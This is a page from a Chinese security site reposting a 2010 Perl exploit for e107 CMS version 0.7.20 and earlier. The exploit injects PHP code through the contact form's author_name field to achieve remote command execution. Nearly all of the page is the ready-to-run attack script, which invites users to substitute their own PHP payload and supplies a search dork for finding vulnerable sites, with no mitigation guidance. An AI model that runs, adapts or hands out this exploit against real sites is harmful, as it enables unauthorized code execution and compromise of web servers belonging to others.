首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
e107 <= 0.7.20 Code Execution Vulnerability
来源:McFly@e107.org 作者:McFly 发布时间:2010-05-25  
===========================================
e107 <= 0.7.20 Code Execution Vulnerability
===========================================


# Exploit Title: e107 Code Exec
# Date: 05/22/10
# Author: McFly@e107.org
# Software Link: http://e107.org/edownload.php
# Version: e107 <= 0.7.20
# Tested on: Linux/Windows

#!/usr/bin/perl -w
#################################################
# e107 Code Exec // SploitAuthor: McFly@e107.org
#################################################
# These scrubs still haven't released an update!
# Here is a little bit of motivation for them to
# patch one of the most popular, and insecure of
# the PHP web apps available today.
#################################################
# DORK: inurl:e107_plugins
#################################################

use LWP::UserAgent;

my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
my $load = 'passthru(chr(105).chr(100))'; # Simple 'id' command. Put ur PHP payload here! :)

# Remove comment for proxy support
my $proxy = 'http://127.0.0.1:8118/';
$ENV{http_proxy} = $proxy ? $proxy: 0;

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0");

if ( $proxy )
{
    print "[*] Using proxy $proxy \n";
    $ua->env_proxy('1');
}

my $req = new HTTP::Request POST => $path;
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");

my $res = $ua->request($req);
my $data = $res->as_string;

if ( $data =~ /<td class=["']main_section['"]>(.*)/ )
{
    $data = $1;
    print "$data\n";
}
else
{
    print "$data\n";
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WebAsys blind SQL Injection Ex
·Solaris/x86 - Remote Download
·POC - SEH control (0day) of We
·Kingsoft WebShield KAVSafe.sys
·Open&Compact Ftp Server 1.2 Un
·Media Player Classic - v 1.3.1
·Linux/x86 - Disable randomize
·WinDirectAudio (.WAV) PoC
·Amaya 11.3.1(dec 9 2009) remot
·Solarwinds 10.4.0.10 TFTP DOS
·Solaris/x86 - Reboot() - 37 by
·Firefox 3.6.3 (latest) <= memo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved